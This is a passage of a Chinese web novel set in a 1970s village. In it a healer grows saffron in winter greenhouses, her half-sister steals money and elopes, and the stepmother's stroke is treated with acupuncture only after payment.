那里摆放着一个巨大的沙盘。 沙盘上,是整个华夏的山川脉络,以非凡的工艺制成。 他的目光,最终落在沙盘最中心,一个被标记为禁忌的区域。 “‘问天计划’已经到了最关键的时刻,我阁谋划百年,绝不容许在一个小小的变数上,功亏一篑。” “让所有人都安分点。” “等大事功成,别说一个姜芷,就是整个华夏,都将是我青囊阁的药圃!” 而此刻,远在红星大队的姜芷,正蹲在田埂上,用小锄头小心翼翼地给刚探出头的嫩绿药苗松土。 阳光暖暖地洒在她身上,让她舒服地眯起了眼。 她并不知道,自己已被一个传承百年的庞大邪恶组织,列为了头号目标。 一场远比蛇谷更加恐怖的风暴,正在悄然酝酿。 第99章 冬日里的天方夜谭 转眼,两个月过去。 凛冽的寒风卷着鹅毛大雪,将天地万物都封进了一片刺眼的白色里,时节已入深冬。 红星大队那场轰轰烈烈的“鬼见愁”开荒大业,也被这能把石头冻裂的酷寒,强行按下了暂停键。 社员们揣着手,正式进入了猫冬时节。 三五成群地围在通红的炉子边,一边嗑瓜子,一边畅想开春后的好日子。 “那鬼见愁可真不是吹的!俩多月,硬生生抠出五十多亩梯田,黑土攥一把都能往下滴油!” “可不是嘛!芷丫头说了,地气儿理顺了,来年种药材,准疯长!” 社员们都觉得,姜芷再神,也得顺应天时。 这大雪封山,万物寂静,除了等,还能做什么? 这想法,朴素,且现实。 但姜芷,显然不在此列。 托社员们拼命赶工的福,早在大雪封路前,她和母亲赵秀娥就搬进了村东头新盖的三间青砖大瓦房。 新房敞亮,地面是青砖铺的,踩上去踏实。 东屋盘了新炕,火一烧,整个屋子都暖烘烘的,再没了从前那破屋的阴冷潮气。 之前周主任送来的那辆崭新自行车,就靠墙立在堂屋,车身锃亮。 而那台蝴蝶牌缝纫机则被安放在窗下光线最好的位置,赵秀娥得了空就坐在那儿,小心地踩着踏板,给姜芷做贴身的新棉衣。 看着母亲脸上的笑容,姜芷觉得,之前的一切冒险都值了。 为此,她又自掏腰包买了头肥猪,请全村扎扎实实吃了一顿乔迁宴,人心彻底笼络。 至于那个神秘的“青囊阁”,自从蛇谷后,就石沉大海,再没半点踪迹。 陆向东那边也传回消息,军方布下天罗地网,也没捞到一条小鱼,敌人蛰伏得极深。 她和他之间,依旧保持着每个月一封的书信来往。 从不谈风月,却字字都是旁人读不懂的挂念与默契。 日子看似归于平静,但姜芷从不是个能闲得住的主。 一个比开荒“鬼见愁”更惊人的计划,已在她脑中酝酿成型。 这天,姜芷揣着一卷图纸,直接敲开了大队长赵大山家的门。 “芷丫头?快进来烤烤火!这天儿出门,鼻子都要冻掉了!”赵大山正吧嗒着旱烟,见是她,连忙热情招呼。 姜芷呼出一口白气,没绕弯子,开门见山。 “赵叔,我来是想跟您商量个事。我想用村里的木料和竹子,在鬼见愁那块最向阳的山坡上,搭几个大棚子。” “搭棚子?”赵大山一口烟呛在喉咙里,咳了半天,满脸不解,“搭那玩意儿干啥?给药材苗遮雪用?” “不,”姜芷摇头,将手里的图纸在桌上摊开,“我是想在棚子里种东西。” “啥?!” 赵大山眼珠子差点瞪出眼眶,他凑近了看图纸,又抬头看姜芷,怀疑自己耳朵出了毛病。 “芷丫头,你没发烧说胡话吧?这大冬天,地冻得跟铁疙瘩一样!那日头软得跟个咸蛋黄似的,你告诉我你要种东西?那庄稼是铁打的,还是神仙种的?” 他脑袋摇得像拨浪鼓。 “不行不行,这纯属胡闹!糟蹋东西!” 姜芷早料到他会是这个反应,指着图纸,换了个说法。 “赵叔,这东西叫暖棚。说白了,就是给地盖上一层‘玻璃被子’。太阳光能照进来,但里头的热气跑不出去。白天攒足了热乎气,晚上再给它盖上厚草席,里面的地就冻不上,能种庄稼。” 一套理论下来,赵大山听得云里雾里。 他一个字也没听懂,但他看懂了姜芷眼里的光。 又是这种眼神! 每次芷丫头露出这种眼神,就准没好事……不对,是准有惊天动地的大好事! 他想起自己被治好的老腰,想起那五杆锃亮的步枪,想起那台崭新的拖拉机…… 赵大山狠狠一咬牙,手掌猛地一拍大腿! “干了!” 他对姜芷的信任,已经近乎盲目。 “我这就去叫人!村里最壮实的几个劳力,都归你调遣!” 计划最关键的一环,是盖棚子用的塑料布。 这玩意儿在七十年代,比布票都金贵,整个公社都找不出几卷。 但姜芷早有后路。 这两个月,县医院的王建国没少往村里跑。 他现在彻底成了姜芷的狂热粉丝。 每次来都拿着小本本,一口一个“姜老师”,虚心请教各种疑难杂症的中医思路。 姜芷也没藏私,有问必答。 当然,她的知识可不是白给的。 通过王建国的医疗渠道,她也弄到了不少外面根本见不到的珍稀药材种子和相关资料。 一通电话打到县医院。 姜芷“头号迷弟”的王建国,一听是“姜老师”有求。 而且是关乎“新型药材培育实验”的大事,激动得差点当场立下军令状。 不出三天,王建国就回了信。 他托关系找到了县里农业部的后勤主任,以“支援偏远地区农业技术革新试点”的名义,特批了一大批厚实的农用塑料布! 当卡车拉着一卷卷在冬日阳光下泛着白光的塑料布,再次开进红星大队时,整个村子又一次沸腾了。 “我的天!这又是啥宝贝?比绸缎还亮!” “听说是芷丫头从县里弄来的,要盖什么暖棚!” 村民们对姜芷的本事,已经从敬畏上升到了匪夷所思。 姜家老宅的墙角,王桂香和姜巧巧母女俩,看着远处指挥村民卸货的姜芷,脸色比吞了黄连还苦。 王桂香往地上啐了一口,酸溜溜地跟女儿嘀咕:“看吧,就是个会吹牛的骗子!又把国家的料子骗来了!瞎折腾!等开了春,棚子里连根草都长不出来,我看她怎么跟上面交代!” 姜巧巧没说话,只是死死盯着那片耀眼的白色,眼神灰败。 她曾也想学“医术”,结果花了二十块钱,成了全村的笑柄。 而姜芷,随随便便就能调来一车车的宝贝。 人与人之间的差距,真的比天和地还远。 半个月后。 在赵大山亲自带领下,几个庞然大物在白茫茫的雪地里拔地而起。 这成了红星大队最奇异,也最引人注目的景观。 姜芷又指挥众人,将烧透的草木灰和发酵好的农家肥,均匀混入棚内地里。 又顺着地势,用泥坯砌了蜿蜒的火道,连接棚外的灶口,用于夜间增温。 一套完整的生态循环系统,初具雏形。 棚内温暖如春,湿润的泥土散发着勃勃生机。 一切准备就绪。 姜芷当着所有人的面,从药箱里捧出一个小小的油纸包。 打开来,里面是上百粒干瘪的,形似蒜瓣的种子。 村民们伸长了脖子,谁也认不出这是什么。 姜芷托着那些种子,声音清亮。 “这个,叫‘藏红花’,也叫番红花。是药,也是香料。” 她顿了顿,目光扫过众人,一字一句地说道: “在外面,一克,能换一克黄金。” 一克,换一克黄金?! 围观的村民们集体倒吸一口凉气! “这……这么金贵的东西,也是王医生帮忙弄的?”有人嗓子发干地问。 姜芷点点头。 在村民们激动和怀疑的目光中,她蹲下身,亲手将第一粒“黄金种子”,种进了泥土里。 第100章 蠢货卷钱私奔,恶母当场气中风 种子种下去后,红星大队的社员们,心也跟着悬了起来。 这可是比黄金还金贵的玩意儿。 就这么埋进冬天的地里,真能活? 棚外天寒地冻,鹅毛大雪没日没夜地往下砸,冷气钻进骨头缝里,又麻又疼。 可姜芷建的那几个白色大棚,却成了冰天雪地里最扎眼的一片暖和地。 棚里头,姜芷每天雷打不动地过来盯着。 她指挥着人,白天把厚重的草席子卷起来,让棚子晒足太阳。 到了晚上,又盖得严严实实,不透一丝风。 棚外的灶口,更是有专人二十四小时轮班烧火。 温热的气流顺着地龙蜿蜒爬遍整个棚子,温度始终维持在让人舒坦的二十来度。 社员们一得空就揣着手,凑到棚子外面,呵着白气往里瞅。 “这都快十天了,咋一点儿动静都没有。” “芷丫头办事,你还操心?等着瞧好吧!” 议论声中,第十天清晨来了。 一个负责添柴火的社员,实在按捺不住,搓着手扒开塑料布一角,往里头探头探脑。 下一秒,他整个人都定住了。 紧接着,一声扯着嗓子的狂喊划破了村庄的宁静。 “长——出——来——了!” 这一嗓子,把整个红星大队都给炸醒了。 村民们像听见了冲锋号,扔下手里扒饭的碗筷,疯了似的朝那片山坡冲去。 等他们扒开人群,挤到棚子前,透过那层半透明的塑料布朝里望去,所有人都看傻了。 那一片片黑得流油的肥沃土地上,竟真的钻出了一抹抹娇嫩的绿芽! 细细长长,密密麻麻。 在这万物凋敝的隆冬雪地里,这抹绿色,比世上任何颜色都来得震撼人心! “我的老天爷!真长出来了!” “雪地里种出了庄稼!这是神仙手段!” “芷丫头不是凡人,是天上下凡的活菩萨!” 村民们奔走相告,一个个激动得满脸涨红。 自此,姜芷的暖棚成了红星大队的新圣地。 而这一切的荣耀与赞美,再次狠狠刺痛着姜巧巧的心口。 凭什么姜芷能住青砖大瓦房,自己却要窝在这冰窖一样的破屋里! 凭什么姜芷一句话,全村人就当圣旨一样听,而自己却成了人人唾弃的过街老鼠! 现在无论她走到哪,背后都是指指点点的目光和讥笑。 “看,就是那个蠢货!” “花二十块钱买了个大笑话,哈哈哈!” 这些话,一遍遍地凌迟着她的自尊。 就在姜巧巧濒临崩溃时,邻村一个叫张狗剩的二流子,摸进了红星大队,找到了姜家老宅。 这张狗剩人长得贼眉鼠眼,一张嘴却跟抹了蜜。 “哎哟,巧巧妹子,真是越长越俊,比城里姑娘还水灵!” “你别听村里那些长舌妇瞎咧咧,她们就是嫉妒你长得好看!” 他三天两头地往姜家跑,不是带块水果糖,就是偷摸塞个煮鸡蛋。 满嘴跑火车,吹嘘自己在县城关系多硬,倒腾自行车票、的确良布料,都是一句话的事儿。 “巧巧,你跟着我,保准让你去城里过好日子!天天吃白面馒头,顿顿有肉!穿金戴银,当城里人,吃商品粮!” 这些话,每天在姜巧巧脑子里回荡。 她被现实压得喘不过气,张狗剩画出的大饼,成了她唯一的救命稻草。 很快,她彻底陷了进去,把这个油嘴滑舌的二流子,当成了能带自己逃离苦海的盖世英雄。 眼看鱼儿上了钩,张狗剩露出了狐狸尾巴。 一天夜里,他偷偷把姜巧巧约到村口的歪脖子树下。 “巧巧,咱们要去城里,总得有点本钱吧?租房子、打点关系,哪样不要钱?” 姜巧巧一脸为难:“我……我没钱。” 张狗剩眼珠子一转,凑到她耳边,压低了声音怂恿:“你傻啊!你娘那儿有!她的钱,不就是你的钱吗!” 这话一出,姜巧巧浑身一哆嗦。 她想起了上次偷钱,被王桂香按在地上往死里打的场景,那疼,现在还记得。 “可是……可是我娘会打死我的……” “打死你?”张狗剩嗤笑一声。 “她舍得吗?再说,这次不一样!上次你是一个人,这次有我!咱们拿着钱去城里享福,等过上好日子了,她巴结你还来不及!难道你想一辈子窝在这破村子里,被人戳着脊梁骨骂蠢货?” “你想不想天天吃肉?想不想穿的确良?想不想让那些看不起你的人,反过来跪着求你?” 张狗剩的每一句话,都精准地戳在姜巧巧的痛处和妄想上。 对未来的美好幻想,和对姜芷的滔天嫉妒,将她最后一点理智彻底撕碎。 是啊,我娘的钱,不就是我的钱吗? 我要去过好日子! 第二天白天,她瞅准王桂香出门串门子的空当,心里跟擂鼓似的,在屋里翻箱倒柜。 炕洞、墙缝、烂柜子…… 终于,在床底下最里侧的一个破瓦罐里,她摸到了一个用手帕包得严严实实、硬邦邦的东西。 打开一看,全是毛票、角票,还有几张崭新的大团结! 她哆哆嗦嗦地数了一遍,三十块四毛钱! 巨款! 拿着这笔钱,姜巧巧的手都在抖,心里却只有一个疯狂的念头。 这是我新生活的开始! 我要去城里!我要让全村人都看看,我姜巧巧不是蠢货!我比姜芷过得好! 她找了张烟盒纸,用铅笔头歪歪扭扭地写下一行字:“娘,我出去闯荡了,以后一定让你们过上好日子。” 然后,她把钱死死揣进怀里,头也不回地跑出家门。 在村口,她和张狗剩会合,两人一头扎进了茫茫的雪地里。 傍晚时分。 王桂香骂骂咧咧地从外面回来,一进屋就扯着嗓子喊:“死丫头,饭做好了没!饿死老娘了!” 屋里静悄悄的,没有半点回应。 她心里咯噔一下,一种不祥的预感涌上心头。 她冲进里屋,空的。 灶房,空的。 人呢? 就在这时,她眼角瞥到了桌上那张皱巴巴的烟盒纸。 当她看清上面的字时,脑子“嗡”的一声炸了。 她像疯了一样扑到床边,伸手就往床底下掏。 当她摸出那个熟悉的破瓦罐,发现里面空空如也时,王桂香浑身的血都凉透了。 钱没了。 她辛辛苦苦攒了大半辈子的钱,全没了! 人财两空的巨大打击,彻底压垮了她。 王桂香双眼一翻,嘴巴不受控制地歪向一边,口水顺着嘴角直往下淌。 “我的……钱……” 她想尖叫,喉咙里却只能挤出含糊不清的“嗬嗬”声。 紧接着,她眼前一黑,直挺挺地向后倒去。 “砰”的一声,重重摔在了地上。 当场,气中了风。 第101章 救人可以,先给钱 姜巧巧卷钱私奔,王桂香气急攻心当场中风的消息,一夜之间就刮遍了整个红星大队。 姜家老宅,彻底乱成了一锅煮沸的马蜂窝。 “桂香!王桂香!你醒醒啊!” 姜为民从砖窑厂被人火急火燎地叫了回来。 一进屋就看到王桂香口眼歪斜地瘫在床上。 嘴角挂着亮晶晶的涎水,半边身子一抽一抽,跟上了岸的鱼似的。 他吓得魂飞魄散,六神无主。 姜老太坐在地上,拍着大腿哭天抢地,那嗓门,要把房顶的积雪给震下来。 闻讯赶来的大房一家和二房一家也聚在屋里,个个脸色难看。 大媳妇李翠花撇着嘴,眼里没有半点同情,只有幸灾乐祸。 二媳妇周兰则拉着自家男人,悄悄往后退了两步,一副不想沾惹麻烦的样子。 村里的赤脚医生被请来,瞧了一眼,头摇得像拨浪鼓。 “这……这是中风了,邪风入体,神仙难救!我顶多能给开点去火的草药,别的……我也没辙啊!赶紧去县医院吧!” 说完,脚底抹油就溜了。 去县医院? 姜为民摸遍了全身口袋,心凉了半截。 王桂香的积蓄被姜巧巧一锅端,他家现在连买盐的钱都得算计着来,哪有钱去县里? 再说,这事儿传出去,他姜为民的脸往哪搁? 婆娘被闺女气中风,闺女还卷钱跟野男人跑了。 这简直是全套的笑话,能在十里八乡流传个十年八年! 绝望之下,一家人你看我,我看你,最后所有的目光,都不约而同地投向了村东头那座崭新的青砖大瓦房。 那是他们唯一的,也是最不想求的希望。 “走!为民!跟我去求你那好闺女!” 姜老太抹了一把鼻涕眼泪,从地上一骨碌爬起来,死死拽住姜为民的胳膊,连拖带拽地就往外走。 冬日的午后,依旧寒气逼人。 姜芷家门口,已经围满了揣着手看热闹的村民。 在所有人震惊的目光中。 “咚”的一声闷响。 姜老太膝盖一软,直挺挺地跪在了姜芷家紧闭的大门前,那叫一个干脆利落。 “芷儿啊!我的亲孙女啊——!!” 她这一嗓子,用上了全身的气力,哭嚎得惊天动地。 “你快开门看看吧!你桂香姨她……她快不行了啊!都是我们的错!以前都是奶奶猪油蒙了心,不是人啊!求求你发发善心,看在她好歹养了你几年的份上,救救她的命吧!” 姜为民站在一旁,一张脸涨得通红,头埋得快要到裤裆里。 这出大戏,瞬间点燃了全村人的八卦之魂。 人群里三层外三层,把姜芷家门口围得水泄不通。 “啧啧,真是现世报,来得快啊!” “王桂香那张嘴,平时多损啊,把芷丫头娘俩往死里磋磨,现在知道求人了?” “要是我,我肯定不救!凭什么救?让她自作自受去!” 议论声中,大门“吱呀”一声开了。 姜芷穿着一身干净的棉布袄,只披了件外衣,平静地走了出来。 她身后,是面带忧色的母亲赵秀娥。 赵秀娥看着跪在雪地里的婆婆和丈夫,嘴唇动了动,终究什么都没说。 她如今,一切都听女儿的。 姜芷的目光很静,淡淡地扫过两个人,又环视了一圈伸长脖子看热闹的村民。 她缓缓开口。 “我是一个医生。” 一句话,让所有嘈杂都安静了下来。 “在我眼里,没有恩怨,只有病人。” 人群中有人点头,觉得芷丫头果然心善。 姜老太一听有门,哭得更来劲了,正准备加几句台词,却听姜芷话锋一转。 “但是,看病,天经地义要收钱。” 姜老太的哭声戛然而止。 姜芷的目光落在姜为民脸上。 “我出诊一次,一块钱。” “针灸一次,五毛。” “开方抓药,你们自己去。” 她顿了顿,吐出最后几个字。 “先给钱,后看病。” 全场死寂。 所有人都傻了。 姜为民和姜老太也傻了。 他们想过姜芷会拿乔,会奚落,会提条件。 但万万没想到,她居然会这么干脆利落地——明码标价! 这哪里是谈亲情,这分明是做买卖! 而且,还是当着全村人的面! “你……” 姜为民猛地抬头,又气又臊,想骂她不孝。 想骂她认钱不认爹,可对上姜芷的眼神时,所有的话都堵在了喉咙里。 “咋地?没钱啊?”人群里有人不咸不淡地问了一句。 “就是,没钱还想请神医看病?脸真大!” 姜为民的脸一阵红一阵白。 姜老太急了,冲着旁边的大儿子姜为国吼道:“老大!老二!你们没听见吗?桂香快死了!你们当哥哥的就看着?快掏钱!” 李翠花第一个不干了,双手一叉腰:“娘!你这话说的!我们家的钱也不是大风刮来的!谁的婆娘谁心疼,凭什么让我们掏钱?” 姜为民气得浑身发抖,只能把求救的目光投向两个亲兄弟。 众目睽睽之下,姜为国和姜为强也不好做得太绝。 最后,还是被姜芷治好过女儿不孕症的二伯姜为强,叹了口气,从兜里摸出五毛钱递过去。 姜为国在李翠花的眼神下,不情不愿地也掏了五毛。 还差五毛。 姜为民的脸彻底成了酱紫色,他咬着牙,对着两个兄弟弯下了腰。 “大哥,二哥,先借我五毛,等……等过年砖窑厂结了账,我一定还你们!” 姜芷就那么静静地站着,看着他们上演完这场闹剧。 直到姜为民哆哆嗦嗦地将凑够的一块五毛钱递过来。 她面无表情地伸出手接过,当着所有人的面,揣进了兜里。 她这才抬脚,越过跪在地上的姜老太,朝老宅方向走去。 从头到尾,她没再看那一家人一眼。 这一幕,再次刷新了全村人对她的认知。 这丫头,太硬了! 也太有谱了! 既守了医生的本分,又用最直接的方式,狠狠抽了姜家老宅一记响亮的耳光。 姜芷走进老宅,屋里一股馊味。 王桂香躺在地上,人事不省。 她也不废话,从随身的布包里拿出针袋,捏起一根银针,在烛火上烤了烤,对着王桂香的穴位就扎了下去。 几针下去,快得让人眼花缭乱。 神奇的一幕发生了。 王桂香抽搐不止的眼角和嘴角,竟然奇迹般地缓和了下来。 虽然依旧不能说话,但那股眼看就要断气的样子,明显是没了。 “活了!活了!” 围观的人群发出一阵惊呼。 姜芷收了针,起身写下一副药方,递给已经看傻了的姜为民。 “命保住了。” 她声音冷淡。 “照着方子去抓药,一天三顿地喂。想恢复成以前那样是不可能了,以后能不能下地,能不能说话,看她自己的造化。” 说完,她转身就走,步履从容,没有一丝留恋。 她用行动告诉所有人:医者仁心,我做了。 但从此以后,我们之间,只剩下明码标价的交易。 想再靠着那点可笑的血缘关系占便宜? 门都没有。 第102章 伺候瘫子,爹开始当人 姜芷走了。 那一块五毛钱,揣得理直气壮。 她前脚刚踏出姜家老宅的门槛,后脚屋里就炸了锅。 “这可咋办啊!” 姜为民盯着床上口眼歪斜、涎水直流的王桂香,握着药方,手抖个不停。 药方是有了,可钱呢? 姜老太一屁股坐在泥地上,又开始新一轮的哭天抢地。 “我造了什么孽!养了一群白眼狼啊!” “大的小的,没一个省心的!” “姜芷那个小贱人,心肠比石头还硬!” “亲奶奶跪在地上,她眼皮子都不抬一下!这是要活活逼死我们啊!” 她嚎着,眼角余光却不住地往大房、二房那边瞟。 大媳妇李翠花抱着胳膊,倚着墙,嘴里“啧”的一声。 “娘,话可不能这么说。” “芷丫头是医生,看病收钱,天经地义。” “刚才那一块五毛,我们两家已经是仁至义尽。总不能往后这药钱,也指望我们吧?” “谁的婆娘谁伺候,谁惹的麻烦谁兜着,道理就该是这个道理!” 这话说得半点情面不留。 姜为民一张脸涨得通红,嘴唇哆嗦着,一个字都反驳不出来。 二媳妇周兰也悄悄拉了拉自家男人的衣角,低声道:“当家的,咱们做到这份上可以了。这可是个无底洞,自家玉梅还要调理身子呢,填不起。” 姜为强叹了口气,终究是没再出声。 人情冷暖,薄如蝉翼。 从前王桂香仗着老太太撑腰,在家里横行霸道,没少挤兑大房和二房。 如今瘫在床上,成了人人避之不及的瘟神。 最后,还是姜为民自己,佝偻着背,挨家挨户去借钱。 那个在砖窑厂上班,从不求人的体面人姜为民,为了给王桂香抓药,把这辈子的脸都丢尽了。 “赵大哥,借我两毛钱……年底发了工钱就还。” “李大嫂,赊我几斤棒子面吧,家里……揭不开锅了。” 有人念着旧情,递过一毛两毛。 更多的人,只是摇着头,默默关上了门。 谁家的日子都不宽裕,谁又愿意把钱扔进一个看不见底的窟窿? 好不容易凑够了药钱。 姜为民跑到镇上的药铺,抓了药回来。 煎药,喂药,成了他每天的活计。 王桂香吃喝拉撒,全在土炕上。 一开始,姜为民还指望着姜老太能搭把手。 姜老太伺候了两天,闻到那股屎尿的骚臭味,就再也不肯踏进三房的门。 她只坐在自家门口,对着寒风咒骂。 骂姜巧巧是赔钱货,骂王桂香是拖油瓶,骂姜芷是铁石心肠的白眼狼。 所有的重担,都压在了姜为民一个人身上。 这个一辈子没伺候过人的男人,笨拙地学着怎么伺候一个瘫子。 王桂香说不了话,只会“嗬嗬”地叫。 饿了,渴了,要解手了,全是一个调。 姜为民得靠猜。 猜不对,王桂香就用那还能动的半边身子发疯,把污秽物弄得到处都是。 他从起初的恶心、暴躁,到后来的麻木。 姜为民端着屎尿盆子出门时,再也不敢抬头。 村里人看着他,指指点点。 “看见没,那就是姜为民。从前多威风啊,现在跟个老妈子似的。” “活该!谁让他以前眼瞎心盲,现在遭报应了呗!” 那些话,像无形的鞭子,抽得他脊梁骨都抬不起来。 一天深夜。 王桂香又在炕上折腾。 姜为民被吵醒,点上煤油灯,一股恶臭直冲天灵盖。 炕上一片狼藉。 他忍着干呕,给王桂香擦洗身子。 擦着擦着,他就崩溃了。 一个四十多岁的汉子,蹲在炕边,双手插进油腻的头发里,喉咙里发出呜咽。 他想不通。 他的人生怎么就变成了这个样子? 女儿跟人跑了,老婆瘫在床上,亲娘兄弟袖手旁观,全村人都在看他的笑话。 恍惚间,他想起了赵秀娥。 想起那个女人还在时,家里总是干干净净,饭菜总是热气腾腾。 赵秀娥话不多,总是低着头干活,逆来顺受。 他嫌她闷,嫌她生不出儿子,嫌她不能给自己长脸。 后来他娶了王桂香,嘴甜,会来事,他觉得人生走上了正轨。 可现在呢? 那个他嫌弃的女人,跟着女儿住进了青砖大瓦房,日子越过越红火,全村人都敬着她们。 而他,守着这个瘫子,守着这个破屋,活得连条狗都不如。 “啪!” 一声脆响。 他狠狠抽了自己一个耳光。 炕上的王桂香被吓得一哆嗦,停了嗬嗬声,浑浊的眼睛里满是惊恐。 姜为民看着她,眼泪混着鼻涕,糊了一脸。 他终于明白。 这一切,都是他自己选的。 是他,为了那点可笑的面子,亲手抛弃了真正对他好的妻女。 是他,默许了王桂香母女对姜芷她们的欺压。 这所有的一切,都是报应。 从那天起,姜为民像变了个人。 他不再抱怨,沉默地干着所有的脏活累活。 他去砖窑厂上工,干的活比谁都多,比谁都卖力,只为多挣几个工分换口粮。 他瘦得脱了相,背也驼了,头发白了大半。 那个爱面子、好虚荣的姜为民,死了。 活下来的,只是一个为了生存挣扎的,麻木的男人。 村里人看着他的变化,议论声也渐渐小了。 这一切,姜芷都看在眼里。 她偶尔路过老宅,会看到姜为民提着尿盆,佝偻着背的模样。 但她心里,没有一丝波澜。 可怜吗? 或许。 可这与她无关。 她不是圣母,做不到以德报怨。 她能做的,只是在王桂香病危时,出于医生的本分,伸手拉她一把。 至于姜为民,他如今所承受的一切,都是他该付出的代价。 想要得到原谅? 那要看他,能不能用这漫长的余生,真正活出个人样来。 第103章 蠢货怀孕,被当街暴打 与红星大队的鸡飞狗跳相比,县城里,姜巧巧正做着一个飞上枝头变凤凰的美梦。 梦里,她穿着一身时髦的“的确良”衬衫,脚踩崭新的小皮鞋,风风光光地回了红星大队。 所有人都围着她,夸她有本事,有眼光。 姜芷那个只会摆弄草药的土丫头,只能在人群后面,嫉妒地看着她。 梦,真甜。 跟着张狗剩来到县城,她才知道什么叫“好日子”。 不用面朝黄土背朝天。 不用看姜老太和王桂香的臭脸。 每天睡到日上三竿,张狗剩会从国营饭店给她买来热腾腾、冒着油光的肉包子。 尽管他们住的,只是一个月两块钱,四面漏风的小破屋。 可对姜巧巧来说,这已经是天堂了。 她把从家里偷来的三十多块钱,一股脑全交给了张狗剩。 她天真地以为,这个男人会像他承诺的那样,带她吃上商品粮,过上城里人的好日子。 张狗剩拿着钱,确实阔绰了几天。 今天下馆子吃肉,明天扯二尺花布。 几句甜言蜜语,几块廉价的糖,就把姜巧巧哄得晕头转向,觉得自己是天底下最幸福的女人。 她甚至开始幻想,等张狗剩托关系办好了城里户口,她就要让姜芷看看,谁才是真正的赢家! 然而,美梦总是醒得特别快。 三十多块钱,在县城这种地方,根本不经花。 不到半个月,钱就见了底。 张狗剩脸上的笑容没了,看她的眼神也开始结冰。 “狗剩哥,咱们今天吃什么呀?” 姜巧巧还像从前一样,腻歪地凑上去。 “吃吃吃!一天到晚就知道吃!” 张狗剩一把将她推开,暴躁地吼道。 “钱都花光了,吃西北风去啊!” 姜巧巧被吼得一愣,委屈地红了眼:“你……你不是说你有门路,能挣大钱吗?” “挣钱?你以为钱是大风刮来的?”张狗剩烦躁地抓着头发,“现在查得严,没本钱,干个屁!” 从那天起,肉包子没了,下馆子更是奢望。 两人每天只能啃着又冷又硬的窝窝头,就着寡淡的咸菜喝凉水。 姜巧巧慌了。 她开始催促张狗剩想办法。 可换来的,却是一次比一次更狠的打骂。 “催催催!催命呢!老子要是有办法,还用你在这儿瞎咧咧?” “你个败家娘们,除了吃还会干啥?当初真是瞎了眼才看上你!” 姜巧巧的心,一点点地凉了下去。 更让她绝望的是,她发现自己的身子不对劲了。 这个月的月事,迟迟没来。 她开始恶心,闻到点油腥味就想吐。 一个可怕的念头,在她脑子里冒了出来。 她战战兢兢地把这事告诉了张狗剩。 张狗剩一听,脸色“唰”地就变了,死死盯着她的肚子。 “你……你说啥?你有了?” “我……我也不知道……” 姜巧巧吓得声音都在抖。 张狗剩在屋里来回踱步,脸上阴晴不定。 突然,他停下,一把抓住姜巧巧的胳膊:“巧巧,你先别慌,这事儿……得去医院看看才准。” 姜巧巧还以为他在关心自己,心里瞬间燃起一丝希望。 第二天,张狗剩难得地和颜悦色,还掏出最后几毛钱,给她买了个白面馒头。 他把姜巧巧带到县医院门口,指着里面说:“你先进去检查,我……我去给你弄点好吃的。” 姜巧巧信以为真,一个人走进了医院。 排了半天队,轮到她。 医生头也不抬地问了几句,就让她去化验。 结果出来,医生看着化验单,随口丢下一句。 “你怀孕了,快一个月了。” 轰! 姜巧巧脑子里一声巨响,整个人都懵了。 真的怀孕了! 她要做娘了! 她和狗剩哥有孩子了! 她攥着化验单,踉踉跄跄地跑出医院,想第一时间把这个好消息告诉张狗剩。 然而,医院门口,空空如也。 哪里还有张狗剩的影子? 她等啊等。 从中午等到太阳偏西,等到双腿都站麻了,张狗剩还是没有出现。 她终于意识到。 自己被骗了。 张狗剩跑了。 这个她以为能托付终身的男人,在她最需要他的时候,扔下她,一个人跑了。 姜巧巧站在县城的街头,手脚冰凉。 她回了趟那个小破屋,可屋门紧锁,钥匙又在张狗剩身上。 她身无分文,饥肠辘辘。 天,黑了。 她又冷又饿,不知道该去哪儿。 回红星大队吗? 不! 她不能回去! 偷钱,私奔,怀了野种,就这么灰溜溜地回去,会被全村人的唾沫星子淹死的! 她娘王桂香,会亲手打死她! 姜巧巧咬着牙,在街上漫无目的地游荡。 第二天,她实在饿得受不了,想起张狗剩曾吹嘘过,他在县里的黑市有门路。 她凭着记忆,摸到一个偏僻的巷子。 巷子里,聚集着一些贼眉鼠眼的人。 她一眼就看到了那个熟悉的身影——张狗剩! 他正跟一个胖子唾沫横飞地吹牛,手里还拿着一瓶汽水,喝得正欢。 那一瞬间,所有的委屈、愤怒、绝望,全都涌上了心头。 “张狗剩!!” 她冲过去,一把抓住他的胳膊,眼睛血红地质问。 “你这个骗子!你为什么要骗我!你把钱还给我!” 张狗剩看到她,先是一惊,随即满脸都是厌恶。 “你个疯婆子!谁骗你了?松手!” “我不松!你还我钱!那是我的钱!”姜巧巧死死拽着他。 “你的钱?那不是你自愿给老子花的吗?”张狗剩一脸无赖相,“再说了,老子陪你吃陪你睡,花了点钱怎么了?” 周围的人都围了过来,对着他们指指点点,发出哄笑。 “你……你不是人!”姜巧巧气得浑身发抖。 “我怀了你的孩子!你怎么能这么对我!” “孩子?” 张狗剩嗤笑一声,声音陡然拔高。 “谁知道你肚子里的种是谁的?你个乡下来的破鞋,在村里不知道跟多少人有一腿,还想赖在老子头上?做梦!” 这话,狠狠刺穿了姜巧巧最后一层脸皮。 她彻底疯了。 “我跟你拼了!” 她张牙舞爪地就往张狗剩脸上抓去。 张狗剩被她抓了两道血印子,顿时恼羞成怒。 “你个臭娘们!给脸不要脸!” 他抬起脚,卯足了劲,一脚就狠狠踹在了姜巧巧的小腹上。 “啊——!” 姜巧巧发出一声凄厉的惨叫,重重摔在地上。 小腹传来一阵撕心裂肺的剧痛。 一股热流从身下猛地涌出,瞬间染红了她灰色的裤子。 “我的……肚子……” 她痛苦地蜷缩在地上,脸色惨白。 张狗剩看着地上的血,也吓了一跳,但没有半点心疼,反而往地上啐了一口。 “活该!让你他妈的讹老子!” 说完,他头也不回地钻进人群,消失不见。 只留下姜巧巧一个人,躺在血泊里,意识一点点沉入黑暗。 第104章 漫天飞雪出黄金,全县沸腾 时间过得飞快,转眼就到了腊月。 姜巧巧在县城踏入无边炼狱时,红星大队,正迎来一场即将燎原的盛事。 “鬼见愁”山坡上那几个巨大的白色暖棚,已经成了全村人心尖上最热乎的地方。 自从上次嫩芽破土。 这里每天都有人三班倒地看守。 添柴,测温,夜里仔细掖好厚重的草席。 那份精心,比伺候自家坐月子的婆娘还要上心百倍。 姜芷几乎整日都泡在棚子里。 她手把手教那些心细的妇女如何辨别杂草。 如何用指尖感受土壤的干湿,如何根据叶片的颜色微调火道里的火候。 赵秀娥也被她拉了过来。 起初,这个自卑了大半辈子的女人手足无措,生怕自己一个不小心,就毁了这比黄金还金贵的“仙苗”。 “小芷,这……这太金贵了,娘怕……” 姜芷握住她粗糙的手,将一株幼苗的叶片送到她眼前,声音安定。 